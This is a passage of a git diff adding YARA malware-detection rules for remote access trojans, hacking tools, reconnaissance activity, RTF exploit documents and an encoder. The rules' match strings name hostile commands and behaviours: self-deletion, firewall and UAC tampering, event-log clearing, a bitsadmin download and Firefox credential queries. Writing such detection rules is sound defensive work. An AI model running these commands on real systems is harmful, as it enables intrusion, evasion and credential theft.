+		$v1_3 = { 81 3E 78 03 00 00 75 57  8D 54 24 14 52 68 0C 05 41 00 68 01 00 00 80 FF  15 00 F0 40 00 85 C0 74 10 8B 44 24 14 68 2C 31  41 00 50 FF 15 10 F0 40 00 8B 4C 24 14 51 FF 15  24 F0 40 00 E8 0F 09 00 }
+		$v1_4 = { 50 E8 CD FC FF FF 83 C4  04 68 E8 03 00 00 FF D7 56 E8 54 12 00 00 E9 AE  FE FF FF E8 13 F5 FF FF }
+
+		$serial01 = { 31 06 2e 48 3e 01 06 b1 8c 98 2f 00 53 18 5c 36 }
+		$serial02 = { 01 a5 d9 59 95 19 b1 ba fc fa d0 e8 0b 6d 67 35 }
+		$serial03 = { 47 d5 d5 37 2b cb 15 62 b4 c9 f4 c2 bd f1 35 87 }
+		$serial04 = { 3a c1 0e 68 f1 ce 51 9e 84 dd cd 28 b1 1f a5 42 }
+
+		$opcodes1 = { 89 FF 55 89 E5 83 EC 20 A1 ?? ?? ?? 00 83 F8 00 }
+		$opcodes2 = { 31 C0 8A 04 0B 3C 00 74 09 38 D0 74 05 30 D0 88 04 0B }
+		$opcodes3 = { 8B 45 08 8D 0C 02 8A 01 84 C0 74 08 3C ?? 74 04 34 ?? 88 01 }
+		$opcodes4 = { 30 14 38 8D 0C 38 40 FE C2 3B C6 }
+		$opcodes5 = { 30 14 39 8D 04 39 41 FE C2 3B CE }
+
+		$fp1 = "Symantec Corporation" ascii wide
+	condition:
+		uint16(0) == 0x5a4d and (
+			(3 of ($s*) and any of ($v1_*)) or
+			(any of ($serial0*)) or
+			(any of ($opcodes*))
+		)
+      and not 1 of ($fp*)
+}
+
+rule RAT_ShadowTech : FILE {
+	meta:
+		author = "Kevin Breen <kevin@techanarchy.net>"
+		date = "01.04.2014"
+		description = "Detects ShadowTech RAT"
+		reference = "http://malwareconfig.com/stats/ShadowTech"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+		id = "1fb15030-b400-5e70-b183-81e2527d5556"
+	strings:
+		$a = "ShadowTech" nocase
+		$b = "DownloadContainer"
+		$c = "MySettings"
+		$d = "System.Configuration"
+		$newline = "#-@NewLine@-#" wide
+		$split = "pSIL" wide
+		$key = "ESIL" wide
+
+	condition:
+		4 of them
+}
+
+rule RAT_SmallNet
+{
+	meta:
+		author = "Kevin Breen <kevin@techanarchy.net>"
+		date = "01.04.2014"
+		description = "Detects SmallNet RAT"
+		reference = "http://malwareconfig.com/stats/SmallNet"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+
+		id = "aec1f8fd-2806-527e-9d50-422f212864de"
+	strings:
+		$split1 = "!!<3SAFIA<3!!"
+		$split2 = "!!ElMattadorDz!!"
+		$a1 = "stub_2.Properties"
+		$a2 = "stub.exe" wide
+		$a3 = "get_CurrentDomain"
+
+	condition:
+		($split1 or $split2) and (all of ($a*))
+}
+
+rule RAT_SpyGate
+{
+	meta:
+		author = "Kevin Breen <kevin@techanarchy.net>"
+		date = "01.04.2014"
+		description = "Detects SpyGate RAT"
+		reference = "http://malwareconfig.com/stats/SpyGate"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+
+		id = "ed015770-81ff-5d9c-8bd0-3c225e400724"
+	strings:
+		$split = "abccba"
+		$a1 = "abccbaSpyGateRATabccba" //$a = Version 0.2.6
+		$a2 = "StubX.pdb"
+		$a3 = "abccbaDanabccb"
+		$b1 = "monikerString" nocase //$b = Version 2.0
+		$b2 = "virustotal1"
+		$b3 = "get_CurrentDomain"
+		$c1 = "shutdowncomputer" wide //$c = Version 2.9
+		$c2 = "shutdown -r -t 00" wide
+		$c3 = "set cdaudio door closed" wide
+		$c4 = "FileManagerSplit" wide
+		$c5 = "Chating With >> [~Hacker~]" wide
+
+	condition:
+		(all of ($a*) and #split > 40) or (all of ($b*) and #split > 10) or (all of ($c*))
+}
+
+rule RAT_Sub7Nation
+{
+	meta:
+		author = "Kevin Breen <kevin@techanarchy.net> (slightly modified by Florian Roth to improve performance)"
+		date = "01.04.2014"
+		description = "Detects Sub7Nation RAT"
+		reference = "http://malwareconfig.com/stats/Sub7Nation"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+
+		id = "4f41d649-4a90-566b-bda8-0a288380aeaa"
+	strings:
+		$a = "EnableLUA /t REG_DWORD /d 0 /f"
+		$i = "HostSettings"
+		$verSpecific1 = "sevane.tmp"
+		$verSpecific2 = "cmd_.bat"
+		$verSpecific3 = "a2b7c3d7e4"
+		$verSpecific4 = "cmd.dll"
+
+	condition:
+		all of them
+}
+
+rule RAT_Vertex
+{
+	meta:
+		author = "Kevin Breen <kevin@techanarchy.net>"
+		date = "01.04.2014"
+		description = "Detects Vertex RAT"
+		reference = "http://malwareconfig.com/stats/Vertex"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+
+		id = "f6f5967e-6b88-5d95-8fe1-a286ee8ce64c"
+	strings:
+		$string1 = "DEFPATH"
+		$string2 = "HKNAME"
+		$string3 = "HPORT"
+		$string4 = "INSTALL"
+		$string5 = "IPATH"
+		$string6 = "MUTEX"
+		$res1 = "PANELPATH"
+		$res2 = "ROOTURL"
+
+	condition:
+		all of them
+}
+
+rule RAT_VirusRat
+{
+	meta:
+		author = "Kevin Breen <kevin@techanarchy.net>"
+		date = "01.04.2014"
+		description = "Detects VirusRAT"
+		reference = "http://malwareconfig.com/stats/VirusRat"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+
+		id = "ef00cec9-d09b-5010-8e7d-bb391c937f34"
+	strings:
+		$string0 = "virustotal"
+		$string1 = "virusscan"
+		$string2 = "abccba"
+		$string3 = "pronoip"
+		$string4 = "streamWebcam"
+		$string5 = "DOMAIN_PASSWORD"
+		$string6 = "Stub.Form1.resources"
+		$string7 = "ftp://{0}@{1}" wide
+		$string8 = "SELECT * FROM moz_logins" wide
+		$string9 = "SELECT * FROM moz_disabledHosts" wide
+		$string10 = "DynDNS\\Updater\\config.dyndns" wide
+		$string11 = "|BawaneH|" wide
+
+	condition:
+		all of them
+}
+
+rule RAT_Xtreme
+{
+	meta:
+		author = "Kevin Breen <kevin@techanarchy.net>"
+		date = "01.04.2014"
+		description = "Detects Xtreme RAT"
+		reference = "http://malwareconfig.com/stats/Xtreme"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+		ver = "2.9, 3.1, 3.2, 3.5"
+
+		id = "02b7bb6a-5d1e-5379-b366-868680844719"
+	strings:
+		$a = "XTREME" wide
+		$b = "ServerStarted" wide
+		$c = "XtremeKeylogger" wide
+		$d = "x.html" wide
+		$e = "Xtreme RAT" wide
+
+	condition:
+		all of them
+}
+
+rule RAT_adWind
+{
+	meta:
+		author = "Kevin Breen <kevin@techanarchy.net>"
+		date = "01.04.2014"
+		description = "Detects Adwind RAT"
+		reference = "http://malwareconfig.com/stats/adWind"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+
+		id = "95681c07-0e9c-5688-a8a0-899617521c7b"
+	strings:
+		$meta = "META-INF"
+		$conf = "config.xml"
+		$a = "Adwind.class"
+		$b = "Principal.adwind"
+
+	condition:
+		all of them
+}
+
+rule RAT_njRat
+{
+	meta:
+		author = "Kevin Breen <kevin@techanarchy.net>"
+		date = "01.04.2014"
+		description = "Detects njRAT"
+		reference = "http://malwareconfig.com/stats/njRat"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+
+		id = "6289b9c8-eef6-5cfb-97bd-b819158d6fdd"
+	strings:
+		$s1 = {7C 00 27 00 7C 00 27 00 7C} // |'|'|
+		$s2 = "netsh firewall add allowedprogram" wide
+		$s3 = "Software\\Microsoft\\Windows\\CurrentVersion\\Run" wide
+		$s4 = "yyyy-MM-dd" wide
+
+		$v1 = "cmd.exe /k ping 0 & del" wide
+		$v2 = "cmd.exe /c ping 127.0.0.1 & del" wide
+		$v3 = "cmd.exe /c ping 0 -n 2 & del" wide
+
+	condition:
+		all of ($s*) and any of ($v*)
+}
+
+rule RAT_unrecom
+{
+	meta:
+		author = "Kevin Breen <kevin@techanarchy.net>"
+		date = "01.04.2014"
+		description = "Detects unrecom RAT"
+		reference = "http://malwareconfig.com/stats/unrecom"
+		maltype = "Remote Access Trojan"
+		filetype = "exe"
+
+		id = "56b11c22-f43c-5192-9a0a-0ac14b0cd041"
+	strings:
+		$meta = "META-INF"
+		$conf = "load/ID"
+		$a = "load/JarMain.class"
+		$b = "load/MANIFEST.MF"
+		$c = "plugins/UnrecomServer.class"
+
+	condition:
+		all of them
+}
+
+rule MAL_JRAT_Oct18_1 {
+   meta:
+      description = "Detects JRAT malware"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2018-10-11"
+      hash1 = "ce190c37a6fdb2632f4bc5ea0bb613b3fbe697d04e68e126b41910a6831d3411"
+      id = "f211ef1c-8def-55f0-8817-d01ebd9c2947"
+   strings:
+      $x1 = "/JRat.class" ascii
+   condition:
+      uint16(0) == 0x4b50 and filesize < 700KB and 1 of them
+}
diff --git a/yara-Neo23x0/gen_recon_indicators.yar b/yara-Neo23x0/gen_recon_indicators.yar
new file mode 100644
index 0000000..a33f1d7
--- /dev/null
+++ b/yara-Neo23x0/gen_recon_indicators.yar
@@ -0,0 +1,74 @@
+
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-07-10
+   Identifier: Hacking Attempts
+   Reference: https://blogs.rsa.com/wp-content/uploads/2017/07/Fig8-netstat_dropped_more.png
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Recon_Commands_Windows_Gen1 {
+   meta:
+      description = "Detects a set of reconnaissance commands on Windows systems"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2017-07-10"
+      score = 60
+      reference = "https://goo.gl/MSJCxP"
+      id = "bc95265c-780d-5451-bd12-d14495877e46"
+   strings:
+      $s1 = "netstat -an" ascii
+      $s2 = "net view" ascii fullword
+      $s3 = "net user" ascii fullword
+      $s4 = "whoami" ascii
+      $s5 = "tasklist /v" ascii
+      $s6 = "systeminfo" ascii
+      $s7 = "net localgroup administrators" ascii
+      $s8 = "net user administrator" ascii
+      $s9 = "regedit -e " ascii
+      $s10 = "tasklist /svc" ascii
+      $s11 = "regsvr32 /s /u " ascii
+      $s12 = "CreateObject(\"WScript.Shell\").RegWrite" ascii
+      $s13 = "bitsadmin /rawreturn /transfer getfile" ascii
+      $s14 = "wmic qfe list full" ascii
+      $s15 = "schtasks.exe /create " ascii nocase
+      $s16 = "wmic share get" ascii
+      $s17 = "wmic nteventlog get" ascii
+      $s18 = "wevtutil cl " ascii
+      $s19 = "sc query type= service" ascii
+      $s20 = "arp -a " ascii
+
+      $fp1 = "avdapp.dll" fullword wide
+      $fp2 = "keyword.command.batchfile" ascii
+      $fp3 = ".sublime-settings" ascii
+   condition:
+      filesize < 1000KB and 4 of them
+      and not 1 of ($fp*)
+}
+
+rule SUSP_Recon_Outputs_Jun20_1 {
+   meta:
+      description = "Detects outputs of many different commands often used for reconnaissance purposes"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://securelist.com/cycldek-bridging-the-air-gap/97157/"
+      date = "2020-06-04"
+      score = 60
+      id = "ec3759aa-212f-52ce-9f38-636accd35749"
+   strings:
+      /* ipconfig /all */
+      $s1 = ". . . . : Yes" ascii 
+      /* ping */
+      $s2 = "with 32 bytes of data:" ascii
+      /* arp -a */
+      $s3 = "ff-ff-ff-ff-ff-ff     static" ascii
+      /* netstat */ 
+      $s4 = "  TCP    0.0.0.0:445" ascii 
+      /* tasklist */ 
+      $s5 = "System Idle Process" ascii
+   condition:
+      filesize < 150KB and
+      4 of them
+}
diff --git a/yara-Neo23x0/gen_redmimicry.yar b/yara-Neo23x0/gen_redmimicry.yar
new file mode 100644
index 0000000..35e6d42
--- /dev/null
+++ b/yara-Neo23x0/gen_redmimicry.yar
@@ -0,0 +1,59 @@
+
+rule HKTL_RedMimicry_Agent {
+    meta:
+        date        = "2020-06-22"
+        modified = "2023-01-06"
+        author      = "mirar@chaosmail.org"
+        sharing     = "tlp:white"
+        description = "matches the RedMimicry agent executable and payload"
+        reference   = "https://redmimicry.com"
+
+        id = "a4d4ec77-4a0d-5afd-9181-85433e8b5fda"
+    strings:
+        $reg0 = "HKEY_CURRENT_USER\\" ascii
+        $reg1 = "HKEY_LOCAL_MACHINE\\" ascii
+        $reg2 = "HKEY_CURRENT_CONFIG\\" ascii
+        $reg3 = "HKEY_CLASSES_ROOT\\" ascii
+        $cmd0 = "C:\\Windows\\System32\\cmd.exe" ascii fullword
+        $lua0 = "client_recv" ascii fullword
+        $lua1 = "client_send" ascii fullword
+        $lua2 = "$LuaVersion: " ascii
+        $sym0 = "VirtualAllocEx" wide fullword
+        $sym1 = "kernel32.dll" wide fullword
+
+    condition:
+        all of them
+}
+
+rule HKTL_RedMimicry_WinntiLoader {
+    meta:
+        date        = "2020-06-22"
+        modified = "2023-01-10"
+        author      = "mirar@chaosmail.org"
+        sharing     = "tlp:white"
+        description = "matches the Winnti 'Cooper' loader version used for the RedMimicry breach emulation"
+        reference   = "https://redmimicry.com"
+
+        id = "a8be1377-faa0-560d-a12c-0369b1f91180"
+    strings:
+        $s0 = "Cooper" ascii fullword
+        $s1 = "stone64.dll" ascii fullword
+        /* $s2 = "XML" ascii fullword */
+        /*
+        .text:0000000180004450                                     loc_180004450:                          ; CODE XREF: sub_1800043F0+80?j
+        .text:0000000180004450 49 63 D0                                            movsxd  rdx, r8d
+        .text:0000000180004453 43 8D 0C 01                                         lea     ecx, [r9+r8]
+        .text:0000000180004457 41 FF C0                                            inc     r8d
+        .text:000000018000445A 42 32 0C 1A                                         xor     cl, [rdx+r11]
+        .text:000000018000445E 0F B6 C1                                            movzx   eax, cl
+        .text:0000000180004461 C0 E9 04                                            shr     cl, 4
+        .text:0000000180004464 C0 E0 04                                            shl     al, 4
+        .text:0000000180004467 02 C1                                               add     al, cl
+        .text:0000000180004469 42 88 04 1A                                         mov     [rdx+r11], al
+        .text:000000018000446D 44 3B 03                                            cmp     r8d, [rbx]
+        .text:0000000180004470 72 DE                                               jb      short loc_180004450
+        */
+        $decoding_loop = { 49 63 D0 43 8D 0C 01 41 FF C0 42 32 0C 1A 0F B6 C1 C0 E9 04 C0 E0 04 02 C1 42 88 04 1A 44 3B 03 72 DE }
+    condition:
+        all of them
+}
\ No newline at end of file
diff --git a/yara-Neo23x0/gen_redsails.yar b/yara-Neo23x0/gen_redsails.yar
new file mode 100644
index 0000000..fac52cd
--- /dev/null
+++ b/yara-Neo23x0/gen_redsails.yar
@@ -0,0 +1,45 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-10-02
+   Identifier: Red Sails
+   Reference: https://github.com/BeetleChunks/redsails
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule redSails_EXE {
+   meta:
+      description = "Detects Red Sails Hacktool by WinDivert references"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/BeetleChunks/redsails"
+      date = "2017-10-02"
+      hash1 = "7a7861d25b0c038d77838ecbd5ea5674650ad4f5faf7432a6f3cfeb427433fac"
+      id = "e7ebbebf-e2d6-5cd3-b859-b804d39d1641"
+   strings:
+      $s1 = "bWinDivert64.dll" fullword ascii
+      $s2 = "bWinDivert32.dll" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 6000KB and all of them )
+}
+
+rule redSails_PY {
+   meta:
+      description = "Detects Red Sails Hacktool - Python"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/BeetleChunks/redsails"
+      date = "2017-10-02"
+      hash1 = "6ebedff41992b9536fe9b1b704a29c8c1d1550b00e14055e3c6376f75e462661"
+      hash2 = "5ec20cb99030f48ba512cbc7998b943bebe49396b20cf578c26debbf14176e5e"
+      id = "59d5e784-70ff-5061-9867-54c905ecfd8c"
+   strings:
+      $x1 = "Gained command shell on host" fullword ascii
+      $x2 = "[!] Received an ERROR in shell()" fullword ascii
+      $x3 = "Target IP address with backdoor installed" fullword ascii
+      $x4 = "Open backdoor port on target machine" fullword ascii
+      $x5 = "Backdoor port to open on victim machine" fullword ascii
+   condition:
+      1 of them
+}
diff --git a/yara-Neo23x0/gen_regsrv32_issue.yar b/yara-Neo23x0/gen_regsrv32_issue.yar
new file mode 100644
index 0000000..68b59d1
--- /dev/null
+++ b/yara-Neo23x0/gen_regsrv32_issue.yar
@@ -0,0 +1 @@
+/* moved to yara_mixed_ext_vars.yar */
diff --git a/yara-Neo23x0/gen_remote_potato0.yar b/yara-Neo23x0/gen_remote_potato0.yar
new file mode 100644
index 0000000..5ff2995
--- /dev/null
+++ b/yara-Neo23x0/gen_remote_potato0.yar
@@ -0,0 +1,17 @@
+
+rule HKTL_SentinelOne_RemotePotato0_PrivEsc {
+   meta:
+      author = "SentinelOne"    
+      description = "Detects RemotePotato0 binary"
+      reference = "https://labs.sentinelone.com/relaying-potatoes-dce-rpc-ntlm-relay-eop"
+      date = "2021-04-26"
+      id = "f6dffd6b-e794-5c4a-9700-5c2022168f44"
+   strings:    
+      $import1 = "CoGetInstanceFromIStorage"
+      $istorage_clsid = "{00000306-0000-0000-c000-000000000046}" nocase wide ascii    
+      $meow_header = { 4d 45 4f 57 }
+      $clsid1 = "{11111111-2222-3333-4444-555555555555}" wide ascii
+      $clsid2 = "{5167B42F-C111-47A1-ACC4-8EABE61B0B54}" nocase wide ascii
+   condition:       
+      (uint16(0) == 0x5A4D) and $import1 and $istorage_clsid and $meow_header and 1 of ($clsid*)
+}
diff --git a/yara-Neo23x0/gen_rottenpotato.yar b/yara-Neo23x0/gen_rottenpotato.yar
new file mode 100644
index 0000000..8231527
--- /dev/null
+++ b/yara-Neo23x0/gen_rottenpotato.yar
@@ -0,0 +1,34 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-02-07
+   Identifier: Rotten Potato
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule RottenPotato_Potato {
+   meta:
+      description = "Detects a component of privilege escalation tool Rotten Potato - file Potato.exe"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://github.com/foxglovesec/RottenPotato"
+      date = "2017-02-07"
+      modified = "2022-12-21"
+      score = 90
+      hash1 = "59cdbb21d9e487ca82748168682f1f7af3c5f2b8daee3a09544dd58cbf51b0d5"
+      id = "4a12783c-f58a-518b-a80a-f09f146304cc"
+   strings:
+      $x1 = "Potato.exe -ip <ip>" fullword wide
+      $x2 = "-enable_httpserver true -enable_spoof true" fullword wide
+      $x3 = "/C schtasks.exe /Create /TN omg /TR" fullword wide
+      $x4 = "-enable_token true -enable_dce true" fullword wide
+      $x5 = "DNS lookup succeeds - UDP Exhaustion failed!" fullword wide
+      $x6 = "DNS lookup fails - UDP Exhaustion worked!" fullword wide
+      $x7 = "\\obj\\Release\\Potato.pdb" ascii
+      $x8 = "function FindProxyForURL(url,host){if (dnsDomainIs(host, \"localhost\")) return \"DIRECT\";" fullword wide
+
+      $s1 = "\"C:\\Windows\\System32\\cmd.exe\" /K start" fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 200KB and 1 of ($x*) ) or ( 2 of them )
+}
diff --git a/yara-Neo23x0/gen_rtf_malver_objects.yar b/yara-Neo23x0/gen_rtf_malver_objects.yar
new file mode 100644
index 0000000..9930145
--- /dev/null
+++ b/yara-Neo23x0/gen_rtf_malver_objects.yar
@@ -0,0 +1,37 @@
+/*
+Copyright 2021 by ditekSHen (https://github.com/ditekshen/detection).
+
+The 2-Clause BSD License
+
+Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+*/
+
+rule SUSP_INDICATOR_RTF_MalVer_Objects { //phns-1666275333
+   meta:
+      description = "Detects RTF documents with non-standard version and embedding one of the object mostly observed in exploit (e.g. CVE-2017-11882) documents."
+      author = "ditekSHen"
+      reference = "https://github.com/ditekshen/detection"
+      date = "2022-10-20"
+      score = 65
+      hash1 = "43812ca7f583e40b3e3e92ae90a7e935c87108fa863702aa9623c6b7dc3697a2"
+      hash2 = "a31da6c6a8a340901f764586a28bd5f11f6d2a60a38bf60acd844c906a0d44b1"
+      id = "2d9d80e0-473e-5aac-a576-8f0002e120e2"
+   strings:
+      // Embedded Objects
+      $obj1 = "\\objhtml" ascii
+      $obj2 = "\\objdata" ascii
+      $obj3 = "\\objupdate" ascii
+      $obj4 = "\\objemb" ascii
+      $obj5 = "\\objautlink" ascii
+      $obj6 = "\\objlink" ascii
+   condition:
+      uint32(0) == 0x74725c7b and (
+         // missing 'f' after '{\rt' and missing '1' (version) after 'rtf' and no char-set set ('\' missing at pos 6)
+         // https://www.biblioscape.com/rtf15_spec.htm#Heading6
+         (not uint8(4) == 0x66 or not uint8(5) == 0x31 or not uint8(6) == 0x5c) 
+         and 1 of ($obj*)
+      )
+}
\ No newline at end of file
diff --git a/yara-Neo23x0/gen_sfx_with_microsoft_copyright.yar b/yara-Neo23x0/gen_sfx_with_microsoft_copyright.yar
new file mode 100644
index 0000000..a28b9c0
--- /dev/null
+++ b/yara-Neo23x0/gen_sfx_with_microsoft_copyright.yar
@@ -0,0 +1,50 @@
+rule SUSP_Microsoft_7z_SFX_Combo {
+   meta:
+      description = "Detects a suspicious file that has a Microsoft copyright and is a 7z SFX"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2018-09-16"
+      hash1 = "cce63f209ee4efb4f0419fb4bbb32326392b5ef85cfba80b5b42b861637f1ff1"
+      id = "9163a689-c3ee-59b1-bf58-aef5d3072be6"
+   strings:
+      $s1 = "7ZSfx%03x.cmd" fullword wide
+      $s2 = "7z SFX: error" fullword ascii
+
+      /* PE Header : LegalCopyright (C) Microsoft Corporation. All rights reserved.*/
+      $c1 = { 00 4C 00 65 00 67 00 61 00 6C 00 43 00 6F 00 70
+              00 79 00 72 00 69 00 67 00 68 00 74 00 00 00 A9
+              00 20 00 4D 00 69 00 63 00 72 00 6F 00 73 00 6F
+              00 66 00 74 00 20 00 43 00 6F 00 72 00 70 00 6F
+              00 72 00 61 00 74 00 69 00 6F 00 6E 00 2E 00 20
+              00 41 00 6C 00 6C 00 20 00 72 00 69 00 67 00 68
+              00 74 00 73 00 20 00 72 00 65 00 73 00 65 00 72
+              00 76 00 65 00 64 00 2E }
+   condition:
+      uint16(0) == 0x5a4d and filesize < 3000KB and 1 of ($s*) and $c1
+}
+
+
+rule SUSP_Microsoft_RAR_SFX_Combo {
+   meta:
+      description = "Detects a suspicious file that has a Microsoft copyright and is a RAR SFX"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2018-09-16"
+      id = "0fa81a9e-2f41-5783-9786-bb6d33b82bd9"
+   strings:
+      $s1 = "winrarsfxmappingfile.tmp" fullword wide
+      $s2 = "WinRAR self-extracting archive" fullword wide
+      $s3 = "WINRAR.SFX" fullword
+
+      /* PE Header : LegalCopyright (C) Microsoft Corporation. All rights reserved.*/
+      $c1 = { 00 4C 00 65 00 67 00 61 00 6C 00 43 00 6F 00 70
+              00 79 00 72 00 69 00 67 00 68 00 74 00 00 00 A9
+              00 20 00 4D 00 69 00 63 00 72 00 6F 00 73 00 6F
+              00 66 00 74 00 20 00 43 00 6F 00 72 00 70 00 6F
+              00 72 00 61 00 74 00 69 00 6F 00 6E 00 2E 00 20
+              00 41 00 6C 00 6C 00 20 00 72 00 69 00 67 00 68
+              00 74 00 73 00 20 00 72 00 65 00 73 00 65 00 72
+              00 76 00 65 00 64 00 2E }
+   condition:
+      uint16(0) == 0x5a4d and filesize < 3000KB and 1 of ($s*) and $c1
+}
diff --git a/yara-Neo23x0/gen_sharpcat.yar b/yara-Neo23x0/gen_sharpcat.yar
new file mode 100644
index 0000000..160d40d
--- /dev/null
+++ b/yara-Neo23x0/gen_sharpcat.yar
@@ -0,0 +1,23 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-06-10
+	Identifier: SharpCat
+*/
+
+rule SharpCat {
+	meta:
+		description = "Detects command shell SharpCat - file SharpCat.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://github.com/Cn33liz/SharpCat"
+		date = "2016-06-10"
+		hash1 = "96dcdf68b06c3609f486f9d560661f4fec9fe329e78bd300ad3e2a9f07e332e9"
+		id = "94a7ce40-ac2f-598e-86c5-ee9fde1eeef0"
+	strings:
+		$x1 = "ShellZz" fullword ascii
+		$s2 = "C:\\Windows\\System32\\cmd.exe" fullword wide
+		$s3 = "currentDirectory" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 20KB and all of them
+}
diff --git a/yara-Neo23x0/gen_shikataganai.yar b/yara-Neo23x0/gen_shikataganai.yar
new file mode 100644
index 0000000..7ec095c
--- /dev/null
+++ b/yara-Neo23x0/gen_shikataganai.yar
@@ -0,0 +1,22 @@
+rule Hunting_Rule_ShikataGaNai {
+    meta:
+        author    = "Steven Miller"
+        company   = "FireEye"
+        reference = "https://www.fireeye.com/blog/threat-research/2019/10/shikata-ga-nai-encoder-still-going-strong.html"
+        id = "fe266a42-0480-5a98-9368-8a18aa5e4f69"
+    strings:
+        $varInitializeAndXorCondition1_XorEAX = { B8 ?? ?? ?? ?? [0-30] D9 74 24 F4 [0-10] ( 59 | 5A | 5B | 5C | 5D | 5E | 5F ) [0-50] 31 ( 40 | 41 | 42 | 43 | 45 | 46 | 47 ) ?? }
+        $varInitializeAndXorCondition1_XorEBP = { BD ?? ?? ?? ?? [0-30] D9 74 24 F4 [0-10] ( 58 | 59 | 5A | 5B | 5C | 5E | 5F ) [0-50] 31 ( 68 | 69 | 6A | 6B | 6D | 6E | 6F ) ?? }
+        $varInitializeAndXorCondition1_XorEBX = { BB ?? ?? ?? ?? [0-30] D9 74 24 F4 [0-10] ( 58 | 59 | 5A | 5C | 5D | 5E | 5F ) [0-50] 31 ( 58 | 59 | 5A | 5B | 5D | 5E | 5F ) ?? }
+        $varInitializeAndXorCondition1_XorECX = { B9 ?? ?? ?? ?? [0-30] D9 74 24 F4 [0-10] ( 58 | 5A | 5B | 5C | 5D | 5E | 5F ) [0-50] 31 ( 48 | 49 | 4A | 4B | 4D | 4E | 4F ) ?? }
+        $varInitializeAndXorCondition1_XorEDI = { BF ?? ?? ?? ?? [0-30] D9 74 24 F4 [0-10] ( 58 | 59 | 5A | 5B | 5C | 5D | 5E ) [0-50] 31 ( 78 | 79 | 7A | 7B | 7D | 7E | 7F ) ?? }
+        $varInitializeAndXorCondition1_XorEDX = { BA ?? ?? ?? ?? [0-30] D9 74 24 F4 [0-10] ( 58 | 59 | 5B | 5C | 5D | 5E | 5F ) [0-50] 31 ( 50 | 51 | 52 | 53 | 55 | 56 | 57 ) ?? }
+        $varInitializeAndXorCondition2_XorEAX = { D9 74 24 F4 [0-30] B8 ?? ?? ?? ?? [0-10] ( 59 | 5A | 5B | 5C | 5D | 5E | 5F ) [0-50] 31 ( 40 | 41 | 42 | 43 | 45 | 46 | 47 ) ?? }
+        $varInitializeAndXorCondition2_XorEBP = { D9 74 24 F4 [0-30] BD ?? ?? ?? ?? [0-10] ( 58 | 59 | 5A | 5B | 5C | 5E | 5F ) [0-50] 31 ( 68 | 69 | 6A | 6B | 6D | 6E | 6F ) ?? }
+        $varInitializeAndXorCondition2_XorEBX = { D9 74 24 F4 [0-30] BB ?? ?? ?? ?? [0-10] ( 58 | 59 | 5A | 5C | 5D | 5E | 5F ) [0-50] 31 ( 58 | 59 | 5A | 5B | 5D | 5E | 5F ) ?? }
+        $varInitializeAndXorCondition2_XorECX = { D9 74 24 F4 [0-30] B9 ?? ?? ?? ?? [0-10] ( 58 | 5A | 5B | 5C | 5D | 5E | 5F ) [0-50] 31 ( 48 | 49 | 4A | 4B | 4D | 4E | 4F ) ?? }
+        $varInitializeAndXorCondition2_XorEDI = { D9 74 24 F4 [0-30] BF ?? ?? ?? ?? [0-10] ( 58 | 59 | 5A | 5B | 5C | 5D | 5E ) [0-50] 31 ( 78 | 79 | 7A | 7B | 7D | 7E | 7F ) ?? }
